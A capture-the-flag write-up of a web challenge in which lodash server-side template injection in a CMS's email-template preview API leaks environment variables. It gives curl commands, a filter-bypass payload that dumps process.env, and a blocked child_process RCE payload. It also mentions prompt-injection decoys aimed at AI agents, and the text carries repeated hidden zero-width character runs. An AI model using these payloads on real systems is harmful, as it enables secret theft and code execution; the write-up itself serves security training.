← Back to Writeups
CUSTOMMediumWeb

ContentForge

XESXOR9/10/20264 min read
#web#custom#medium#decoy_flag_recognition#input_filter_bypass#lodash_template_ssti#process_env_disclosure

ContentForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, input_filter_bypass, lodash_template_ssti, process_env_disclosure

Summary

Walkthrough of the CUSTOM Web ContentForge. Task: ContentForge headless CMS with editable email templates using lodash template engine, server-side rendered via preview API. Solution: Bypass input filter (which blocks require/execSync but not p

Description

ContentForge is a headless CMS platform built with Node.js that provides content management, user administration, and customizable email notifications. The platform includes an admin panel where administrators can manage content types, media assets, user accounts, and notification settings. As a security researcher, you've been given access to the ContentForge admin panel. Your task is to explore the platform's functionality and find a way to read a secret flag stored on the server. Pay close attention to how the application processes user-controlled input — particularly in features that involve server-side rendering or template evaluation. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Node.js/Express headless CMS (ContentForge v2.4.1) behind nginx/1.25.5 with an admin panel featuring customizable email templates. Templates use lodash syntax (<%= expression %>) and are rendered server-side via a preview API. The goal is to exploit Server-Side Template Injection (SSTI) to read a flag stored in environment variables. Credentials provided: admin@contentforge.io / Admin123!.

Analysis

Reconnaissance

After authenticating at /admin with admin@contentforge.io / Admin123!, the application revealed: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. Stack identification: Express.js behind nginx/1.25.5 (X-Powered-By: Express), ContentForge v2.4.1.

  2. Email Templates feature at Settings → Email Templates (/admin/settings/email-templates): Three editable templates — Email Confirmation, Password Reset, Welcome Email — all using lodash template syntax (<%= expression %>).

  3. Template help guide explicitly states: "Templates are rendered server-side using the lodash template engine" — this is a direct hint at SSTI.

  4. Client-side JS at /js/email-templates.js revealed the API surface: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

EndpointMethodPurpose
/api/settings/email-templates/{slug}GETLoad template content
/api/settings/email-templates/{slug}PUTSave/update template
/api/settings/email-templates/{slug}/previewPOSTPreview template (server-side render)
  1. Decoy flags: Every HTML page contained a honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML elements, HTML comments, and prompt injection text designed to trick AI agents. These were identified and ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Vulnerability

Lodash's _.template() function compiles template strings into JavaScript functions. The <%= expression %> syntax evaluates arbitrary JavaScript expressions in the Node.js server context. The application applies a server-side filter that blocks common RCE patterns like require(), execSync(), child_process, etc., but fails to block access to Node.js globals like process, process.env, global, and JSON.

Filter Bypass Analysis

PayloadResult
<%= global.process.mainModule.require("child_process").execSync("id").toString() %>BLOCKED — "Template contains blocked expressions"
<%= process.env %>ALLOWED — returned [object Object]
<%= JSON.stringify(process.env) %>ALLOWED — returned full env dump including FLAG
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The filter uses pattern matching for dangerous function calls (require, execSync, spawn, etc.) but does not restrict property access on built-in globals. Since process.env is a plain object property access (no function call to a blocked name), it passes the filter.

Solution

Step 1: Authentication

bash
curl -c cookies.txt -X POST https://TARGET/admin/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@contentforge.io","password":"Admin123!"}'

Step 2: Identify the SSTI vector

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Navigated to Settings → Email Templates and found three editable templates using lodash syntax. The template help guide confirmed server-side rendering with lodash.

Step 3: Test basic expression evaluation

Saved a template with a simple process.env access:

bash
curl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \
  -H "Content-Type: application/json" \
  -d '{"body":"<%= process.env %>"}'

Previewed the template:

bash
curl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response returned [object Object] — confirming process.env is accessible and the expression is evaluated server-side.

Step 4: Dump environment variables

Updated the template with JSON.stringify() to serialize the full environment:

bash
curl -b cookies.txt -X PUT https://TARGET/api/settings/email-templates/email-confirmation \
  -H "Content-Type: application/json" \
  -d '{"body":"<%= JSON.stringify(process.env) %>"}'

Previewed:

bash
curl -b cookies.txt -X POST https://TARGET/api/settings/email-templates/email-confirmation/preview

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response contained the full environment variable dump, including:

json
{
  "NODE_ENV": "production",
  "FLAG": "FLAG{REDACTED}",
  ...
}

Step 5: Blocked RCE attempt (for reference)

The direct RCE payload was blocked by the server-side filter:

<%= global.process.mainModule.require("child_process").execSync("id").toString() %>

Response: "Template contains blocked expressions. Only variable interpolation (<%= VAR %>) is allowed."

This confirms the filter catches require(), execSync(), and similar patterns but misses process.env property access. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, input_filter_bypass, lodash_template_ssti, process_env_disclosure was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • ContentForge • Difficulty: Medium